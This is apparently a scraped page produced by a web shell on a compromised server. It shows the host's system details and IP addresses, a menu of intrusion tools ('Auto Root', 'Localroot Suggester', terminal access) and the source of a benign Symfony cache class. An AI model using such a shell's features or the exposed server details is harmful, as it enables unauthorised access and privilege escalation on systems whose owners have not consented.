Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.227.102.59
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
cache /
Messenger /
Delete
Unzip
Name
Size
Permission
Date
Action
EarlyExpirationDispatcher.php
2.25
KB
-rw-rw-r--
2022-07-28 15:25
EarlyExpirationHandler.php
2.46
KB
-rw-rw-r--
2022-07-28 15:25
EarlyExpirationMessage.php
2.53
KB
-rw-rw-r--
2022-07-28 15:25
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Cache\Messenger; use Psr\Log\LoggerInterface; use Symfony\Component\Cache\Adapter\AdapterInterface; use Symfony\Component\Cache\CacheItem; use Symfony\Component\DependencyInjection\ReverseContainer; use Symfony\Component\Messenger\MessageBusInterface; use Symfony\Component\Messenger\Stamp\HandledStamp; /** * Sends the computation of cached values to a message bus. */ class EarlyExpirationDispatcher { private $bus; private $reverseContainer; private $callbackWrapper; public function __construct(MessageBusInterface $bus, ReverseContainer $reverseContainer, callable $callbackWrapper = null) { $this->bus = $bus; $this->reverseContainer = $reverseContainer; $this->callbackWrapper = $callbackWrapper; } public function __invoke(callable $callback, CacheItem $item, bool &$save, AdapterInterface $pool, \Closure $setMetadata, LoggerInterface $logger = null) { if (!$item->isHit() || null === $message = EarlyExpirationMessage::create($this->reverseContainer, $callback, $item, $pool)) { // The item is stale or the callback cannot be reversed: we must compute the value now $logger && $logger->info('Computing item "{key}" online: '.($item->isHit() ? 'callback cannot be reversed' : 'item is stale'), ['key' => $item->getKey()]); return null !== $this->callbackWrapper ? ($this->callbackWrapper)($callback, $item, $save, $pool, $setMetadata, $logger) : $callback($item, $save); } $envelope = $this->bus->dispatch($message); if ($logger) { if ($envelope->last(HandledStamp::class)) { $logger->info('Item "{key}" was computed online', ['key' => $item->getKey()]); } else { $logger->info('Item "{key}" sent for recomputation', ['key' => $item->getKey()]); } } // The item's value is not stale, no need to write it to the backend $save = false; return $message->getItem()->get() ?? $item->get(); } }